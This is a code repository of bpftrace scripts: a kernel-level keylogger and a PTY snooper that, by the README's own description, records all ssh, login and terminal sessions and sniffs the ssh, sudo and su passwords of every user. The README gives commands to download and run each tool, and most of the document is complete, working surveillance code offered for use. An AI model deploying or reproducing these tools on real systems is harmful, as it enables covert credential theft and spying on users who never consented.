Repository: hackerschoice/bpfhacks
Branch: main
Commit: 9dafa4cbb8a4
Files: 4
Total size: 15.7 KB
Directory structure:
gitextract_9_0wobg0/
├── README.md
├── keylogger.bt
├── ptysnoop.bt
└── ptysnoop_linux_old.bt
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# eBPF tools
A (short) collecton of eBPF enabled tools (need root privileges to run);
Prerequisite: Install the latest bpftrace tool:
```console
curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
chmod 755 bpftrace
```
## Project #1 - Sniff all ssh/login/xterm session:
Record all PTY sessions and sniffs all ssh/sudo/su passwords of all users.
```console
curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt
export BPFTRACE_MAX_STRLEN=200
./bpftrace -Bnone ptysnoop.bt
```
Tools by others: [SSHLog](https://ebpf.io/applications/#sshlog).
## Project #2 - Keylogger:
Record all keys pressed on the keyboard:
```console
./bpftrace -Bnone keylogger.bt
```
## TIPS & TRICKS
It may complain about missing Linux Kernel header files. Download them to a local directory:
```sh
wget https://debian.sipwise.com/debian-security/pool/main/l/linux/linux-headers-...
dpkg-deb -xv linux-headers-*.deb "$(pwd)"
export BPFTRACE_KERNEL_SOURCE="$(echo "$(pwd)/usr/src/linux-headers-"*)"
sed '/generated\/autoconf.h/d' -i "${BPFTRACE_KERNEL_SOURCE}/include/linux/kconfig.h"
```
Check for BPF support in the Kernel (it is enabled by default):
```sh
grep CONFIG_BPF /boot/config-$(uname -r)
```
================================================
FILE: keylogger.bt
================================================
#! /usr/bin/env bpftrace
/*
* Record keys pressed on a keyboard.
* (Based on https://github.com/willfindlay/bpf-keylogger but as bpftrace)
*
* Usage:
* curl -o bpftrace -fL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
* chmod 755 bpftrace
* ./bpftrace -Bnone keylogger.bt
*
* Note:
* - This tool reads the KEY-NUMBER (!) and not the ASCII CODE.
* The KEY-NUMBER needs to be transposed to get the actual ASCII
* CHARACTER. Transposition is done using US-Keyboard layout.
* Check with 'localectl status' or 'cat /etc/default/keyboard'
* - Needs an actual keyboard. Won't work on remote VNC sessions.
*/
BEGIN
{
// https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h
printf("Keyboard mapping: US-Keyboard\n");
time("[%F %H:%M:%S] ");
@keys[2] = 0x31; // 1
@keys[3] = 0x32; // 2
@keys[4] = 0x33; // 3
@keys[5] = 0x34; // 4
@keys[6] = 0x35; // 5
@keys[7] = 0x36; // 6
@keys[8] = 0x37; // 7
@keys[9] = 0x38; // 8
@keys[10] = 0x39; // 9
@keys[11] = 0x30; // 0
@keys[12] = 0x2d; // -
@keys[13] = 0x3d; // =
@keys[30] = 0x41 + 32; // A
@keys[48] = 0x42 + 32; // B
@keys[46] = 0x43 + 32; // C
@keys[32] = 0x44 + 32; // D
@keys[18] = 0x45 + 32; // E
@keys[33] = 0x46 + 32; // F
@keys[34] = 0x47 + 32; // G
@keys[35] = 0x48 + 32; // H
@keys[23] = 0x49 + 32; // I
@keys[36] = 0x4A + 32; // J
@keys[37] = 0x4B + 32; // K
@keys[38] = 0x4C + 32; // L
@keys[50] = 0x4D + 32; // M
@keys[49] = 0x4E + 32; // N
@keys[24] = 0x4F + 32; // O
@keys[25] = 0x50 + 32; // P
@keys[16] = 0x51 + 32; // Q
@keys[19] = 0x52 + 32; // R
@keys[31] = 0x53 + 32; // S
@keys[20] = 0x54 + 32; // T
@keys[22] = 0x55 + 32; // U
@keys[47] = 0x56 + 32; // V
@keys[17] = 0x57 + 32; // W
@keys[45] = 0x58 + 32; // X
@keys[21] = 0x59 + 32; // Y
@keys[44] = 0x5a + 32; // Z
@keys[26] = 0x5b; // {
@keys[27] = 0x5d; // }
@keys[39] = 0x3b; // ;
@keys[40] = 0x27; // '
@keys[41] = 0x60; // `
@keys[43] = 0x5c; // \
@keys[51] = 0x2c; // ,
@keys[52] = 0x2e; // .
@keys[53] = 0x2f; // /
@keys[55] = 0x2a; // *
@keys[57] = 0x20; // ' '
@sk[41] = 0x7e; // ~
@sk[2] = 0x21; // !
@sk[3] = 0x40; // @
@sk[4] = 0x23; // #
@sk[5] = 0x24; // $
@sk[6] = 0x25; // %
@sk[7] = 0x5e; // ^
@sk[8] = 0x26; // &
@sk[9] = 0x2a; // *
@sk[10] = 0x28; // (
@sk[11] = 0x29; // )
@sk[12] = 0x5f; // _
@sk[13] = 0x2b; // +
@sk[26] = 0x7b; // {
@sk[27] = 0x7d; // }
@sk[42] = 0x7c; // |
@sk[51] = 0x3c; // <
@sk[52] = 0x3e; // >
@sk[53] = 0x3f; // ?
@is_shift = 0;
}
END
{
clear(@keys);
clear(@sk);
clear(@is_shift);
clear(@is_ctrl);
clear(@is_alt);
}
// int kprobe__input_handle_event(struct pt_regs *ctx, struct input_dev *dev,
// unsigned int type, unsigned int code, int value)
kprobe:input_handle_event
/arg2 == 3 && arg3 > 0 && arg3 < 256/
{
$type = arg2;
$code = arg3;
if ($code == 42 || $code == 54) {
// Shift PRESSED [down]
@is_shift = 1;
return;
}
if ($code == (uint64)(128 + 42) || $code == (uint64)(128 + 54)) {
// Shift RELEASED [up]
@is_shift = 0;
return;
}
if ($code == 0x1d) {
@is_ctrl = 1;
return;
}
if ($code == (uint64)(128 + 0x1d)) {
@is_ctrl = 0;
return;
}
if ($code == 0x38) {
@is_alt = 1;
return;
}
if ($code == (uint64)(128 + 0x38)) {
@is_alt = 0;
return;
}
if ($code <= 1 || $code >= 128) {
// Ignore 0 and ESC
// Ignore Key-Event-UP [ >=128]
return;
}
if ($code == 28) { // ENTER
printf("\n");
time("[%F %H:%M:%S] ");
return;
}
if ($code == 0x3a) {
printf("[CAPS-LOCK]");
return;
}
$c = @keys[$code];
if (@is_shift == 1 && @is_ctrl == 0 && @is_alt == 0) {
if ($c >= 0x41+32 && $c <= 0x5a+32) {
$c -= 32; // Convert a-z => A-Z
@is_shift = 0;
} else {
$SC = @sk[$code];
if ($SC > 0) {
$c = $SC;
@is_shift = 0;
}
}
}
if (@is_shift == 1 || @is_ctrl == 1 || @is_alt == 1) {
printf("[");
$close = 1;
}
if (@is_shift == 1) { printf("SHIFT+"); }
if (@is_ctrl == 1) { printf("CTRL+"); }
if (@is_alt == 1) { printf("ALT+"); }
if ($c != 0) {
printf("%c", $c);
} else {
if ($code == 0x0e) {
if ($close == 0) {
printf("[DEL]");
} else {
printf("DEL");
}
} else {
printf("[0x%02x]", $code);
}
}
if ($close == 1) {
printf("]");
}
}
================================================
FILE: ptysnoop.bt
================================================
#! /usr/bin/env bpftrace
/*
* bpftrace -B none ./ptysnoop.bt [Options] [PTY number]...
*
* Options:
* 31336 - Do not display the help screens
* 99999 - Sniff ALL PTY (except screen & tmux). Default is to log only sshd, login and term.
* Be warned, this will likely sniff YOUR session as well.
*
* Example 1 - Snoop on sshd, login and xterms (running and new sessions):
* BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt
*
* Example 2 - Snoop on ALL but not screen or tmux:
* BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt 9999
*
* Example 3 - Snoop on /dev/pty/0, ... /dev/pty/3:
* BPFTRACE_MAX_STRLEN=200 bpfrace -Bnone 0 1 2 3
*
* Limitations:
* - The buffer may contain \x0d in the middle and it wont translate to \n.
*/
BEGIN
{
@last_special = 0x0d;
// bpf cant mix integer and string command line options. It's a fiddle...
if ($1 != 31336 && $2 != 31336) {
printf("🦋 \x1b[0;33mTIP: Nicefy the output:\n");
printf("\x1b[0;36mbpftrace -Bnone ptysnoop.bt 31336 | sed -Eu -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\\\x1b\\[[0-9;>]*[a-zA-Z~]|\\\\x1bO[ABCD]//g' -e 's/(\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\[dt])+/\\1/g'\x1b[0m\n");
printf("-----\n");
}
if ($# == 0) { return; }
if ($1 == 99999 || $2 == 99999) {
@is_all = 1;
return;
}
if ($# == 1 && $1 == 31336) { return; }
if ($# == 2 && $2 == 31336) { return; }
@is_tty_snoop = 1;
if ($# >= 1 && $1 != 31336 && $2 != 99999) { @all_tty[$1] = 1; }
if ($# >= 2 && $1 != 31336 && $2 != 99999) { @all_tty[$2] = 1; }
if ($# >= 3) { @all_tty[$3] = 1; }
if ($# >= 4) { @all_tty[$4] = 1; }
if ($# >= 5) { @all_tty[$5] = 1; }
if ($# >= 6) { @all_tty[$6] = 1; }
if ($# >= 7) { @all_tty[$7] = 1; }
if ($# >= 8) { @all_tty[$8] = 1; }
if ($# >= 9) { @all_tty[$9] = 1; }
if ($# >= 10) { @all_tty[$10] = 1; }
if ($# >= 11) { @all_tty[$11] = 1; }
if ($# >= 12) { @all_tty[$12] = 1; }
}
END
{
if ($1 != 31336 && $2 != 31336) {
printf("\n😘 \x1b[0;33mYou may want to nicefy a log like so:\n");
printf("\x1b[0;36mcat x.log | sed -E -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\x1b\\[[0-9;]*m|\\\\x1b\\[[0-9;>]*[a-zA-Z~]|\\\\x1bO[ABCD]//g' -e 's/(\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\[dt])+/\\1/g'");
printf("\x1b[0m\n-----\n\x1b[1;37mJoin us - https://thc.org/ops\x1b[0m");
}
delete(@last_special);
delete(@last_id);
delete(@is_tty_snoop);
delete(@color);
delete(@is_all);
clear(@all_tty);
}
kfunc:pty_write
/args->tty->count == 1/ // only master TTY
{
if (@is_all) {
if (strcontains(comm, "tmux") == 1) { return; }
if (comm == "screen") { return; }
} else {
if (@is_tty_snoop > 0) {
if (@all_tty[args->tty->index] == 0) { return; }
} else {
if (comm == "sshd") { $hit = 1; }
if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; }
if ($hit == 0 && comm == "login") { $hit = 1; }
if ($hit == 0) { return; }
}
}
$b = args->buf;
$len = args->c;
$last_id = @last_id;
$this_id = (uint64)args->tty;
// Do not output Arrow-UP/DOWN
if ($len == 3 && $b[0] == 0x1b) { return; }
$special = 0;
if ($len == 1) {
// Special character. Only output ONCE
if ($b[0] < 0x20 || $b[0] > 0x7e) {
$special = $b[0];
}
}
if ($last_id != $this_id) {
// PID has changed
// Don't output if the user just presses enter or other special single input.
if ($special > 0) { return; }
// Go to new line unless we are already on a new line.
if (@last_special != 0x0d) { printf("\n"); }
@color = (uint64)args->tty->index % 6 + 1;
printf("\x1b[0m>>>> \x1b[0;33m%s\x1b[0m %d /dev/pty/%d (uid=%d):\n\x1b[0;3%dm", comm, pid, args->tty->index, uid, @color);
// Record a successful switch to new prompt
@last_id = $this_id;
@last_special = 0x0d;
}
if ($special > 0) {
// Only output special characters ONCE.
if (@last_special == $special) { return; }
// Never output if at the beginning of a new line
if (@last_special == 0x0d) { return; }
if ($special == 0x08 || $special == 0x7f) {
printf("\x1b[0;2m\\d\x1b[0;3%dm", @color); // DEL
} else if ($special == 0x09) {
printf("\x1b[0;2m\\t\x1b[0;3%dm", @color); // TAB
} else if ($special == 0x0d) {
printf("\n");
}
@last_special = $special;
return;
}
if (@last_special == 0x0d) { printf("| "); }
@last_special = 0;
printf("%r", buf($b, $len));
}
================================================
FILE: ptysnoop_linux_old.bt
================================================
#! /usr/bin/env bpftrace
/*
* Use this for OLD Linux pre 5.15.
*
* BPFTRACE_STRLEN=200 bpftrace -B none --no-warnings ./ptysnoop_linux_old.bt
*
* Limitations:
* - Max FD for ptmx < 64.
* - Not working for PTY's spawned via docker.
* - You may need to delete the sys_enter_writev part below (for very old Linux systems)
*/
/*
TODO:
- close function must delete (@fds
*/
BEGIN
{
@last_special = 0x0d;
if ($2 == 0) { return; }
@is_tty_snoop = 1;
if ($# >= 2) { @fds[$1, $2] = (uint64)$2; }
if ($# >= 4) { @fds[$3, $4] = (uint64)$4; }
if ($# >= 6) { @fds[$5, $6] = (uint64)$6; }
if ($# >= 8) { @fds[$7, $8] = (uint64)$8; }
}
END
{
delete(@last_id);
delete(@last_special);
delete(@is_tty_snoop);
clear(@fds);
}
tracepoint:syscalls:sys_enter_openat,tracepoint:syscalls:sys_enter_open
/$1 == 0/
{
if (str(args->filename) != "/dev/ptmx") { return; }
if (@is_tty_snoop > 0) { return; }
if (comm == "sshd") { $hit = 1; }
if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; }
if ($hit == 0 && comm == "login") { $hit = 1; }
if ($hit == 0) { return; }
@is_ptmx[pid] = pid;
}
tracepoint:syscalls:sys_exit_openat,tracepoint:syscalls:sys_exit_open
/$1 == 0 && args->ret >= 0 && args->ret < 64/
{
if (@is_ptmx[pid] == 0) { return; }
delete(@is_ptmx[pid]);
@fds[pid, args->ret] = (uint64)args->ret;
}
tracepoint:syscalls:sys_enter_close
/$1 == 0 && args->fd >= 0 && args->fd < 64/
{
delete(@fds[pid, args->fd]);
}
tracepoint:sched:sched_process_exit
/$1 == 0/
{
$i = 0;
unroll(64) {
delete(@fds[pid, $i]);
$i += 1;
}
}
tracepoint:syscalls:sys_enter_write,
/args->count > 0 && args->fd > 0/
{
if (@fds[pid, args->fd] == 0) { return; }
$b = args->buf;
$len = args->count;
// -----START IDENDICAL COPY FOR WRITEV-----
$last_id = @last_id;
$this_id = pid * 64 + args->fd;
// Do not output Arrow-UP/DOWN
if ($len == 3 && $b[0] == 0x1b) { return; }
$special = 0;
if ($len == 1) {
// Special character. Only output ONCE
if ($b[0] < 0x20 || $b[0] > 0x7e) {
$special = $b[0];
}
}
if ($last_id != $this_id) {
// PID has changed
if (@last_special != 0x0d) { printf("\n"); }
printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid);
@last_id = $this_id;
@last_special = 0;
}
if ($special > 0) {
// Only output special characters ONCE.
if (@last_special == $special) { return; }
// Never output if at the beginning of a new line
if (@last_special == 0x0d) { return; }
if ($special == 0x08 || $special == 0x7f) {
printf("\x1b[2m\\d\x1b[0m"); // DEL
} else if ($special == 0x09) {
printf("\x1b[2m\\t\x1b[0m"); // TAB
} else if ($special == 0x0d) {
printf("\n");
}
@last_special = $special;
return;
}
@last_special = 0;
printf("%r", buf($b, $len));
// -----END IDENTICAL COPY FOR WRITEV-----
}
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// DELETE ALL BELOW HERE FOR VERY OLD LINUX SYSTEMS
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
tracepoint:syscalls:sys_enter_writev
/args->vlen > 0/
{
if (@fds[pid, args->fd] == 0) { return; }
$b = (uint8 *)args->vec[0].iov_base;
$len = args->vec[0].iov_len;
// -----START IDENDICAL COPY FOR WRITEV-----
$last_id = @last_id;
$this_id = pid * 64 + args->fd;
// Do not output Arrow-UP/DOWN
if ($len == 3 && $b[0] == 0x1b) { return; }
$special = 0;
if ($len == 1) {
// Special character. Only output ONCE
if ($b[0] < 0x20 || $b[0] > 0x7e) {
$special = $b[0];
}
}
if ($last_id != $this_id) {
// PID has changed
if (@last_special != 0x0d) { printf("\n"); }
printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid);
@last_id = $this_id;
@last_special = 0;
}
if ($special > 0) {
// Only output special characters ONCE.
if (@last_special == $special) { return; }
// Never output if at the beginning of a new line
if (@last_special == 0x0d) { return; }
if ($special == 0x08 || $special == 0x7f) {
printf("\x1b[2m\\d\x1b[0m"); // DEL
} else if ($special == 0x09) {
printf("\x1b[2m\\t\x1b[0m"); // TAB
} else if ($special == 0x0d) {
printf("\n");
}
@last_special = $special;
return;
}
@last_special = 0;
printf("%r", buf($b, $len));
// -----END IDENTICAL COPY FOR WRITEV-----
}